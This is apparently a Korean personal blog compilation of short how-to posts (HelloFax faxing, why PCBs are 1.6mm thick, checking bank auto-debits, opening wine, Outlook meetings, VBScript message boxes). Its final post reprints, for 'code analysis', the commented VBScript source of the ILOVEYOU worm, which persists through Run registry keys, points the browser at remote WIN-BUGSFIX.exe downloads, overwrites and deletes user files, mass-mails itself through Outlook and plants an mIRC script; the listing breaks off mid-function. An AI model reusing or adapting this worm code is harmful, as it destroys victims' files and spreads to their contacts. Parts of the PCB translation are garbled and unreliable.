반응형

 HelloFax를 통해 보낼 수 있다.

 

1. hellofax 가입 (구글 계정 가입 가능)

https://app.hellofax.com/home/googleLanding/cwsapp/1

 

로그인 | HelloFax

 

app.hellofax.com

 

2. Fax보낼 파일 선택

Upload File으로 파일 선택
PDF에 암호가 걸린 경우에 넣을 수 있다.

반응형

3. 넣고나서 Next

그럼 팩스가 보내진다.

 

4. 팩스번호를 입력하는데 반드시 +82 한국 번호가 맨앞에 들어가야 한다.

받는사람이 이름을 어떻게 표시할지 쓴다. 내이름 석자를 기입
다 전송이 되면 이런 화면으로 된다.

5. 잘 전송되었는지 확인

자세히 보면 송신자의 번호는 +1 (미국)으로 되어있다. 아무래도 미국사이트니 그러겠다. 이름만 맞으면 알아서 확인하겠지..

 

반응형
반응형

보통 PCB제작을 의뢰 하다보면, 제일 단가가 낮고 싼 PCB는 1.6mm 의 두께를 갖고 있다.

즉, 일반적으로 많이 사용한다는 것이다. 그러면 왜 1.6mm가 표준처럼 사용 되는가? 아래에 내용이 있다.

https://www.jhd-material.com/info/why-is-the-common-pcb-plate-thickness-is-1-6mm-64903489.html

 

Why is the Common PCB Plate Thickness is 1.6mm

Why is the Common PCB Plate Thickness is 1.6mm

www.jhd-material.com

 

위에 글을 번역했다.

 

Why is the Common PCB Plate Thickness is 1.6mm

왜 일반적인 PCB의 두께는 1.6mm 인가?

 

The general PCB finished plate thickness is 0.8mm to 1.6.mm between 1.6.mm, and the more common plate thickness specification is designed according to the 1.6 mm of the metric unit (about 63mil), many plugins The standard is also adapted in accordance with 1.6mm, what is the 1.6mm thickness standard?

 

일반적인 PCB 마감 판두께는 0.8mm ~ 1.6.mm로 1.6mm 사이이며, 보다 일반적인 판두께 사양은 미터법 단위(약 63mil)의 1.6mm에 따라 설계됩니다. 많은 주문제작의 표준 역시 이에 적용됩니다. 1.6mm 두께 기준이 뭘까요?

 

We learned that the "PCB Development History" chapter of the "PCB development history" is designed by the PCB design. In the era of tubes, the PCB industry is still in the sprouting stage. Since the amount of heat generated by the tube component is large, the volume is bulky, it is inconvenient to install on the printed circuit board (Need a certain mechanical strength), the production of electronic products at the time was basically a handmade studio installation. Of course, this is also related to the development of the substrate material of the PCB, as the epoxy resin of the PCB substrate (see the PCB of the column) This chapter of the substrate resin), the manufacturing technology of the PCB substrate, copper foil, etc. have not been commercialized.

 

PCB 개발의 역사에 역사에 따르면, Tube를 사용하던 시대에 PCB 산업은 아직 싹트기전 단계에 있었습니다. 튜브에서 발생하는 발열이 커서, 부피를 키울 수 밖에 없었고 이는 PCB(일정한 기계적 강도 필요)를 설치하기 불편했습니다.  당시 전자제품 생산은 기본적으로 수작업 설치가 주로 이뤄졌습니다. 물론 이는 PCB기판의 에폭시수지 (PCB기판의 단면을 보면된다)로 PCB기판의 제조기술과도 관련이 있습니다. 이 당시 기판, 동박 등은 아직 상용화되지 않았습니다.

 

In the 1920s, circuit developers used electric wood (phenolic resins), gypsum board, cardboard, and even thin wood-building circuit boards (forms similar to the cave plate or breadboard, with a printed circuit board). They drill on the material and then securely secure the flat copper wire to the board to form an interconnected circuit with a rivet or bolt.

 

1920년대에 회로 개발자는 전기 목재(페놀 수지), 석고 보드, 판대기, 심지어 얇은 목재로 만든 회로 기판(인쇄 회로 기판 처럼 긁어낸 판 또는 Bread Board와 유사한 형태)을 사용했습니다. 그들은 보드를 드릴로 뚫은 다음, 평평한 구리 와이어를 보드에 단단히 고정하여, 리벳이나 볼트로 서로 연결된 회로를 만들었습니다.

 

Among them, electric wood is also a phenolic resin, from German chemist Adolf Von Bayer (1835-1917) first synthesized in 1872. In 1907, the American Chemist (1863-1944) was born in Belgium (1863-1944) improved the production technology of phenolic resin, and the resin was practiced, industrialized. In 1910, he established a general Bakelite and uses the name "Bakelite" "Bakelite" to the phenolic resin trademark according to his own name.

 

그 중에서, 전기 목재는 또한 페놀수지로서, 독일의 화학자 Adolf Von Bayer(1835-1917)가 1872년에 처음으로 합성에 성공했습니다. 벨기에서 태어나 미국으로 온 화학자(1863-1944)로 인해 페놀 수지의 기술과 수지는 발전되었고 이내 산업화되었습니다. 1910년, 그는 general Bakelite를 설립하고, 그의 이름 "Bakelite"를 따서 페놀수지 상표에  "Bakelite" 또는 "Bakelite" 라는 이름을 사용했습니다.

 

At the beginning of the 20th century, relying on Bakeland's phenolic resin manufacturing patents, in Germany, United Kingdom, France and Japan and other countries, the industrial production of phenolic resins has been achieved. Phenolic resins also begin to be widely used in the knobs of the radio, turntable, mounting components (non-printed circuit boards), and even radios.

 

20세기 초 독일, 영국, 프랑스, ​​일본 및 기타 국가에서 Bakeland의 페놀 수지 제조 특허에 의존하여, 페놀 수지의 산업적 생산이 이루어졌습니다. 페놀 수지는 또한 라디오의 손잡이, 턴테이블(turntable), 장착용 부품(인쇄되지 않은 회로 기판), 심지어 라디오에도 널리 사용되기 시작했습니다.

 

In 1921, the laminate manufactured by Formica has been integrated into the manufacturing of household radio and marine radio. In 1927, Formica found that the formation of decorative paper was added to the printing process, and their laminate can be made into a simulated wood grain. And marble pattern. As the laminated plate becomes more colorful and decorative, its market has expanded rapidly. At that time, there were a phenolic laminate as a decorative panel of the table surface.

 

1921년, Formica에서 제조한 laminate는 가정용 라디오 및 항해용 라디오 제조과정에 통합되었습니다. 1927년, Formica는 인쇄 공정에 decorative paper(장식용 종이)의 형태를 추가했으며, 그 적층판을 모조 나뭇결로 만들 수 있음을 발견했습니다. 그리고 대리석 무늬, laminated plate(결이 있는 판)는 당시 점점 화려하고 장식용으로 시장에 빠르게 확산되었습니다. 당시 테이블 표면 장식용 패널로 페놀 라미네이트가있었습니다.

 

Phenolic laminate is a rugged and well-insulated polymer material with heat, waterproof, chemical resistance and can withstand the characteristics of high current. Although it is not specially developed as a circuit board, more widely used in decoration Due to the use of panels, the phenolic laminate is much better as the mounting support of the tube or as the mounting of the tube, and there is a lot of strength relative to the plasterboard, the cardboard, or the thin wood flakes, and the phenolic laminate is used instead of cardboard or thin wooden board as a circuit. The board is natural and there is a natural thing.

 

페놀 라미네이트는 열, 방수, 내화학성을 갖춘 견고하고 절연이 잘 된 폴리머 소재로 고전류 특성을 견딜 수 있습니다. 특별히 회로기판으로 개발된 것은 아니지만 장식용으로 더 널리 사용되는 패널의 사용으로 인해 페놀 라미네이트는 튜브의 장착 지지대 또는 튜브의 장착으로 훨씬 우수하며 많은 석고보드, 판지 또는 얇은 나무 조각에 비해 강도가 높고 회로로 판지 또는 얇은 나무 판 대신 페놀 라미네이트를 사용합니다. 

 

However, in the phenolic laminate, the phenolic laminate is punched and then connecting all electronic components. It is still a very laborious thing. It is better than playing the cave board. After all, the cave board is still pre-tied. Not long, some people came up with a method, stick a copper foil on the phenolic laminate, and then etched the interconnected line between the components on the copper foil. In 1913, Berry in the United Kingdom invented the resist The agent is applied to the metal foil, and the etch is not coated, thereby forming a conductive pattern, which is made a single-sided printed circuit board. Soon, the development of the interconnection system between multiple boards produces the relevant needs of the panel connector.

 

그러나, 페놀릭 라미네이트에서 이를 뚫고 모든 전자 부품을 연결합니다. 그것은 여전히 ​​​​매우 힘든 일입니다. 이보다 판을 Cave 치는 것보다 낫습니다. 얼마 지나지 않아 어떤 사람들은 페놀성 라미네이트에 동박을 붙인 다음, 동박의 Component 사이의 상호 연결선을 에칭하는 방법을 고안했습니다. 1913년 영국의 Berry가 resist 을 발명하여, 금속박에 부식제를 도포하고 Etch는 코팅되지 않고, 전도성 패턴을 형성하여 단면 인쇄회로기판으로 만든다. 곧, 여러 보드 간의 상호 연결 시스템을 갖는 보드 개발에 대한 수요는, panel connector 관련 필요를 느끼게 합니다.

 

At the time of 1/16 inches or 63 mil, the production thickness of the phenolic laminate at that time, the panel panel connector is naturally designed according to the thickness of 1/16 inches (about 63 mil or 1.6 mm), which forms a supporting Industrial chains, 1/16 inches (about 63 mil or 1.6mm) thickness also forms a default standard for industry.

Today, the development of the substrate material has been very diverse such as FR4 sheet, but 1.6mm (or 63mil of the British unit) is still the default molded plate thickness of the PCB board factory, but the standard plate thickness range is extended to 0.8mm to 1.6mm. (Specifically based on the process of board factory, some plate factory is 0.6mm ~ 2.5mm)

Of course, if the PCB to produce thinner or thicker (such as 20 layers) is also possible, such as 0.4 mm or 3.0 mm, but require additional payboard costs, it needs to be considered when the PCB is designed.

 

1/16인치 또는 63mil 당시 페놀성 적층체의 생산 두께, 패널 패널 커넥터는 1/16인치(약 63mil 또는 1.6mm)의 두께에 따라 자연스럽게 오늘날 기본 설계 기준이 되었고, 산업 표준이 되었습니다.

오늘날 FR4 Sheet와 같이 기판 재료의 개발은 매우 다양하지만 1.6mm(또는 영국 단위의 63mil)는 여전히 PCB 기판 공장의 기본 판 두께이지만, 표준 판 두께 범위는 다음과 같은 범위를 갖습니다. => 0.8mm ~ 1.6mm. (구체적으로는 기판공장의 공정에 따라 0.6mm~2.5mm 정도의 판공장도 있음)

물론 PCB의 경우 0.4mm나 3.0mm와 같이 더 얇거나 더 두꺼운(20층 등) 생산도 가능하지만 추가 페이보드 비용이 필요하므로 PCB를 설계할 때 이를 고려해야 합니다.

 

반응형

 

When determining the PCB thickness, there is a need to consider many design and manufacture factors, such as:

Copper thickness

Plate

PCB layer number

signal type

Type of through holes

Operating environment

Manufactured factors affecting the thickness of the PCB include:

Craft capabilities for drilling equipment

Copper thickness

Layer number

Division method

 

Factors that need to be considered for PCB design of non-standard thickness:

 

1. Plate factory's process capacity

The first thing to consider is that your board factory has equipment to make the thickness you need. This decision should be made as soon as possible while considering other relevant DFM design requirements. Otherwise, you may be forced to modify and redesign your PCB laminated structure.

 

2. Extend delivery time

If the board is selected is not a standing material, it is often extended to the production cycle of the PCB, so it is necessary to consider delivery time for non-standard plate thickness.

 

3. Additional fees

This may be the most important point, you need to assess the cost of special sheets, additional manufacturing costs, and time cost extending to determine whether additional cost is acceptable.

 

Priority adopts a standard PCB thickness will make your board make faster and lower cost. However, if you decide to choose a non-standard thickness, you should communicate with the board factory before starting the PCB design, ensuring that the process can be manufactured and communicated during delivery and additional manufacturing costs.

 

 

 

*  아래 사이트도 참고하면 좋다 1.6mm 기준으로 어떻게 layer 두께가 형성되는지 볼 수 있다.

(출처)

https://www.multi-circuit-boards.eu/en/pcb-design-aid/layer-buildup/standard-buildup.html

 

 

 

반응형
반응형

월급을 받아도 내통장이 항상 비어있다면?  가장큰 원인은 "자동이체" 이다.

옛날에 뭔가 자동이체를 해놨는데 까먹고 어떻게 어디로 나가는지 모르겠다면 아래 서비스를 이용한다.

https://www.payinfo.or.kr/

반응형
 

계좌정보통합관리서비스

 

www.payinfo.or.kr:443

 

사용법은 아래와 같다.

1. 동의하고 정보화면 이동

2. 공인인증서 로그인

3. 자동이체 조회

4. 자동이체와 자동송금 차이점 이해하기

5. 아래쪽 보면 상세조회 가능

 

 

 

 

반응형
반응형

필요 준비물은 그저 와인 오프너만 있으면 된다.

오프너는 대부분 칼날 부분과 코르크 마개를 꽂는 부가 있을 것이며, 레버와 손잡이로 이루어져 있을 것이다.

 

1. 칼날로 와인의 목을 딴다.. (잔인하게 들리지만, 목 주변 툭 튀어나온 아랫부분을 쭉 긁어낸다)

2. 목을 다 긋고, 한 쪽 부분을 아래와 같이 위로 칼로 따면 껍질에 틈이 생기는데, 이를 쭉 잡아댕기면 아래와 같이 벗겨진다.

3. 코르크 마개의 정 가운데에 침을 꽂고 나서 마개와 수직 방향으로 위에서 아래로 눌러가며 돌리며 집어 넣는다.

4. 첫번째 레버가 걸릴 곳 까지만 넣으면 된다. 

5. 첫번째 레버로 지지하며 손잡이를 위로 올리면 마개가 위로 쫌 올라온다

6. 마개가 어느정도 올라오면 다시 2번째 레버를 아래와 같이 걸고 다시 손잡이를 위로 땡긴다.

7. 그리고나서 손잡이를 잡고 위로 올리면 되는데, 회전하면서 위로 빼면 잘 빠진다.

 

건승을 빌며  Cheers..!

 

반응형
반응형

 

1. 아웃룩 왼쪽 하단에 보면 메일 우측에 달력 모양 아이콘 클릭

2. 원하는 날자를 선택하고 새모임 만들기

3. 제목쓰고, required-반드시 참석해야할 사람, optional-참석할지 말지 알아서 결정, 내용작성 후 보내기

 

반응형
반응형

 

윈도우에서 많이 보는 기본적인 메세지박스를 띄울 수 있는 코드이다.

Msgbox "내용", [선택옵션], "제목"

Msgbox "Box Message", 0, "Title"

아래 예를 들면 3번째 항목의 숫자를 무엇을 넣냐에 따라 메세지 옵션이 달라진다.

아래 3번째 항목을 0 부터 6까지 넣었을 때 어떻게 변하는지 볼 수 있다.

 

 

(모든 메세지 박스에 대한 정의는 다음 사이트에 있다.=>

https://docs.microsoft.com/en-us/previous-versions//sfw6660x(v=vs.85)?redirectedfrom=MSDN

출처 : https://www.youtube.com/watch?v=NwIOuZZqolE&list=PL72Es31dJnK6-ZFXXHFurNwJ6QtWPtxbz&index=1

아래 간단한 튜토리얼 영상을 참고하면 좋다.

https://www.youtube.com/watch?v=NwIOuZZqolE&list=PL72Es31dJnK6-ZFXXHFurNwJ6QtWPtxbz&index=1 

 

또한 아래 블로거님도 잘 정리해 주셨다.

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=kingreddrake&logNo=220710535015 

 

VBScript) MsgBox

VBScript를 이용하면 Batch 파일에서 메세지 창을 표현이 가능합니다. VBScript는 메모장에서 명령...

blog.naver.com

 

 

 

 

반응형
반응형

2000년대를 강타했던 악명높은 악성 코드가 vbs로 만들어졌다.

개발자는 중소기업 컴퓨터 프로그램을 만들어 팔거나, 대학교 학생들의 논문을 대행해주는 동호회 회원이 만들었다고 한다.

바이러스를 만든 이유는 그저 졸업논문이 인정받지 못해서라고 한다. (아래 참고)

https://namu.wiki/w/%EB%9F%AC%EB%B8%8C%20%EB%B0%94%EC%9D%B4%EB%9F%AC%EC%8A%A4

 

러브 바이러스 - 나무위키

[접기/펼치기]dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next di

namu.wiki

당시 이메일을 이용해 Love Letter로 보내고, 저 아이콘을 실행시키면 .vbs파일이 작동되며, 중요한 확장자를 가진 파일들을 강제로 변경시켜서 사용할 수 없게 만들어 버린다. (아래 영상 참고)

https://www.youtube.com/watch?v=ZqkFfF5kAvw (악성코드에 당하는 테스트 영상)

 

반응형

※ 악용 금지. 코드 분석용으로 사용. 코드 사용에 대한 책임은 전적으로 본인에게 있음!

 

vbs 코드

(출처 : https://github.com/onx/ILOVEYOU/blob/master/LOVE-LETTER-FOR-YOU.TXT.vbs )

=>

rem  barok -loveletter(vbe) <i hate go to school>
rem by: spyder  /  ispyder@mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines
On Error Resume Next

rem Setup global variables to be used throughout subroutines and functions.
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = ""
ctr = 0

rem Open the current script file and define "vbscopy" which can be used to
rem read its own contents. Used to replicate itself in other files.
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll

main()

rem Subroutine to initalize the program
Sub main()
  On Error Resume Next
  Dim wscr, rr

  rem Creates a shell which will be used to read the registry.
  Set wscr = CreateObject("WScript.Shell")
  rem Gets a registry key which indicates the scripting time-out from Windows.
  rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")

  rem Checks if the current timeout is more than 0.
  If (rr >= 1) Then
    rem Sets the timeout to 0, effectively making it so that the script won't
    rem time out, incase the system happens to be too slow to execute it.
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
  End If

  rem Finds special folders, such as system, temporary and windows folders.
  Set dirwin = fso.GetSpecialFolder(0)
  Set dirsystem = fso.GetSpecialFolder(1)
  Set dirtemp = fso.GetSpecialFolder(2)
  Set c = fso.GetFile(WScript.ScriptFullName)

  rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
  rem LOVE-LETTER-FOR-YOU.TXT.vbs
  c.Copy(dirsystem & "\MSKernel32.vbs")
  c.Copy(dirwin & "\Win32DLL.vbs")
  c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")

  rem Call the other subroutines.
  regruns()
  html()
  spreadtoemail()
  listadriv()
End Sub

rem Subroutine to create and update special registry values.
Sub regruns()
  On Error Resume Next
  Dim num, downread

  rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
  regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"

  rem Get internet Explorer's download directory.
  downread = ""
  downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")

  rem If the directory wasn't found, then use C:\ drive as the download directory.
  If (downread = "") Then
    downread = "c:\"
  End If

  rem Check if a file named "WinFAT32.exe" exists in the system files.
  If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
    Randomize

    rem Generate a random number from 1 to 4.
    num = Int((4 * Rnd) + 1)

    rem Randomly update the Internet Explorer's start page that leads to a
    rem page that will download a malicious executable "WIN-BUGSFIX.exe".
    If num = 1 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
    ElseIf num = 2 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    ElseIf num = 3 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
    ElseIf num = 4 Then
      regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
    End If
  End If

  rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory.
  If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
    rem Add WIN-BUGSFIX.exe to run on startup
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
    rem Update Internet Explorer's start page to "about:blank"
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
  End If
End Sub

rem Subroutine to list folders in drives.
Sub listadriv()
  On Error Resume Next
  Dim d, dc, s

  Set dc = fso.Drives

  For Each d In dc
    If (d.DriveType = 2) Or (d.DriveType = 3) Then
      folderlist(d.path & "\")
    End If
  Next

  listadriv = s
End Sub

rem Subroutine infect other files, by copying itself into them as well
rem as creating a malicious mIRC script.
Sub infectfiles(folderspec)
  On Error Resume Next
  Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3

  Set f = fso.GetFolder(folderspec)
  Set fc = f.Files

  For Each f1 In fc
    ext = fso.GetExtensionName(f1.path)
    ext = lcase(ext)
    s = lcase(f1.name)

    rem Copies itself into every file with vbs/vbe extension.
    If (ext = "vbs") Or (ext = "vbe") Then
      Set ap = fso.OpenTextFile(f1.path, 2, true)

      ap.write vbscopy
      ap.close
    rem Copies itself into every file with js/jse/css/wsh/sct/hta extension
    rem and creates a copy of the file with the .vbs extension.
    ElseIf (ext = "js")
      Or (ext = "jse")
      Or (ext = "css")
      Or (ext = "wsh")
      Or (ext = "sct")
      Or (ext = "hta")
    Then
      Set ap = fso.OpenTextFile(f1.path, 2, true)

      ap.write vbscopy
      ap.close
      bname = fso.GetBaseName(f1.path)

      Set cop = fso.GetFile(f1.path)

      cop.copy(folderspec & "\" & bname & ".vbs")
      fso.DeleteFile(f1.path)
    rem Copies itself into every file with jpg/jpeg extension
    rem and creates a copy of the file with the .vbs extension.
    ElseIf (ext = "jpg") Or (ext = "jpeg") Then
      rem Copies itself
      Set ap = fso.OpenTextFile(f1.path, 2, true)

      ap.write vbscopy
      ap.close

      Set cop = fso.GetFile(f1.path)

      cop.copy(f1.path & ".vbs")
      fso.DeleteFile(f1.path)
    rem Copies itself into every file with mp3/mp2 extension.
    ElseIf (ext = "mp3") Or (ext = "mp2") Then
      Set mp3 = fso.CreateTextFile(f1.path & ".vbs")

      mp3.write vbscopy
      mp3.close

      Set att = fso.GetFile(f1.path)
      rem Sets file attributes to make the file Hidden.
      rem Normal files have the attribute set to 0 so adding 2 to it,
      rem will set the attributes to Hidden.
      att.attributes = att.attributes + 2
    End If

    rem Checks if the folder has already been infected, if not it will continue
    rem to infect the files.
    If (eq <> folderspec) Then
      rem Looks for mIRC and related files to determine whether it
      rem should create/replace its script.ini with a malicious script.
      If (s = "mirc32.exe")
        Or (s = "mlink32.exe")
        Or (s = "mirc.ini")
        Or (s = "script.ini")
        Or (s = "mirc.hlp")
      Then
        Set scriptini = fso.CreateTextFile(folderspec & "\script.ini")
        rem The following mIRC script checks if the "nick" of a user is the same
        rem as "me" to halt and send a DCC command that will send a message to
        rem the user with a link to the LOVE=LETTER-FOR-YOU html page on the
        rem system.
        scriptini.WriteLine "[script]"
        scriptini.WriteLine ";mIRC Script"
        scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, If mIRC will"
        scriptini.WriteLine "    corrupt... WINDOWS will affect and will not run correctly. thanks"
        scriptini.WriteLine ";"
        scriptini.WriteLine ";Khaled Mardam-Bey"
        scriptini.WriteLine ";http://www.mirc.com"
        scriptini.WriteLine ";"
        scriptini.WriteLine "n0=on 1:JOIN:#:{"
        scriptini.WriteLine "n1=  /If ( $nick == $me ) { halt }"
        scriptini.WriteLine "n2=  /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM"
        scriptini.WriteLine "n3=}"
        scriptini.close

        eq = folderspec
      End If
    End If
  Next
End Sub

rem Subroutine used to get file listing of a folder.
Sub folderlist(folderspec)
  On Error Resume Next
  Dim f, f1, sf

  Set f = fso.GetFolder(folderspec)
  Set sf = f.SubFolders

  rem Iterates over each subfolder from the given top-level folder and
  rem recursively infect files.
  For Each f1 In sf
    infectfiles(f1.path)
    folderlist(f1.path)
  Next
End Sub

rem Subroutine used to create/write registry entries.
Sub regcreate(regkey,regvalue)
  Set regedit = CreateObject("WScript.Shell")
  regedit.RegWrite regkey, regvalue
End Sub

rem Subroutine used to get registry entries.
Function regget(value)
  Set regedit = CreateObject("WScript.Shell")
  regget = regedit.RegRead(value)
End Function

rem Function to check if a file exists.
Function fileexist(filespec)
  On Error Resume Next
  Dim msg

  If (fso.FileExists(filespec)) Then
    msg = 0
  Else
    msg = 1
  End If

  fileexist = msg
End Function

rem Function to check if a folder exists.
Function folderexist(folderspec)
  On Error Resume Next
  Dim msg

  If (fso.GetFolderExists(folderspec)) Then
    msg = 0
  Else
    msg = 1
  End If

  fileexist = msg
End Function

rem Subroutine to send emails to the user's contacts through MAPI
rem (Messaging Application Programming Interface), the API used by Outlook to
rem communicate with the Microsoft Exchange Server which also hosts calendars
rem and address book.
Sub spreadtoemail()
  On Error Resume Next
  Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad

  rem Creates a shell to edit the registry.
  Set regedit = CreateObject("WScript.Shell")
  rem Creates a new Outlook application object instance, to access the MAPI.
  Set out = WScript.CreateObject("Outlook.Application")
  rem Gets the MAPI namespace used to access the address book lists.
  Set mapi = out.GetNameSpace("MAPI")

  rem Goes through all contacts in the address book and sends an email
  rem with the LOVE-LETTER-FOR-YOU program as an attachment.
  For ctrlists = 1 To mapi.AddressLists.Count
    Set a = mapi.AddressLists(ctrlists)
    x = 1
    rem Gets a registry key that is used to check who has been sent an email,
    rem already to ensure that even if there may be duplicate contacts, it will
    rem only send the email once to the same address.
    regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)

    If (regv = "") Then
      regv = 1
    End If

    If (int(a.AddressEntries.Count) > int(regv)) Then
      rem Iterates over each entry in the address list.
      For ctrentries = 1 To a.AddressEntries.Count
        malead = a.AddressEntries(x)
        regad = ""
        regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead )

        rem If the contact hasn't yet been sent an email, a new email will be
        rem composed with the virus attached and a "kind" message and the
        rem subject "ILOVEYOU".
        If (regad = "") Then
          Set male = out.CreateItem(0)

          male.Recipients.Add(malead)
          male.Subject = "ILOVEYOU"
          male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
          male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
          male.Send

          rem Sets the registry key to indicate that the email has been sent
          rem to the current contact.
          regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
        End If

        x = x + 1
      Next

      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
    Else
      regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
    End If
  Next

  Set out = Nothing
  Set mapi = Nothing
End Sub

rem Subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM.
Sub html
  On Error Resume Next
  Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6

  rem Generates an HTML page which contains a JScript and VBScript to replicate
  rem itself by leveraging ActiveX. It also listens for mouse and key events,
  rem which will open additional windows of the same page.
  dta1 = "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"
    & vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"
    & vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"
    & vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "
    & vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"
    & vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"
    & vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>"
    & vbcrlf & _ "<?-?BODY><?-?HTML>"
    & vbcrlf & _ "<SCRIPT language=@-@JScript@-@>"
    & vbcrlf & _ "<!--?-??-?"
    & vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"
    & vbcrlf & _ "?-??-?-->"
    & vbcrlf & _ "<?-?SCRIPT>"
    & vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"
    & vbcrlf & _ "<!--"
    & vbcrlf & _ "on error resume next"
    & vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"
    & vbcrlf & _ "aw=1"
    & vbcrlf & _ "code="

  dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"
    & vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)"
    & vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"
    & vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"
    & vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"
    & vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"
    & vbcrlf & _ "wri.write code4"
    & vbcrlf & _ "wri.close"
    & vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then"
    & vbcrlf & _ "If (err.number=424) Then"
    & vbcrlf & _ "aw=0"
    & vbcrlf & _ "End If"
    & vbcrlf & _ "If (aw=1) Then"
    & vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"
    & vbcrlf & _ "window.close"
    & vbcrlf & _ "End If"
    & vbcrlf & _ "End If"
    & vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"
    & vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"
    & vbcrlf & _ "?-??-?-->"
    & vbcrlf & _ "<?-?SCRIPT>"

  rem Replaces encoded characters from the above document to form a valid
  rem document that can be correctly opened and executed in the browser.
  dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'")
  dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """")
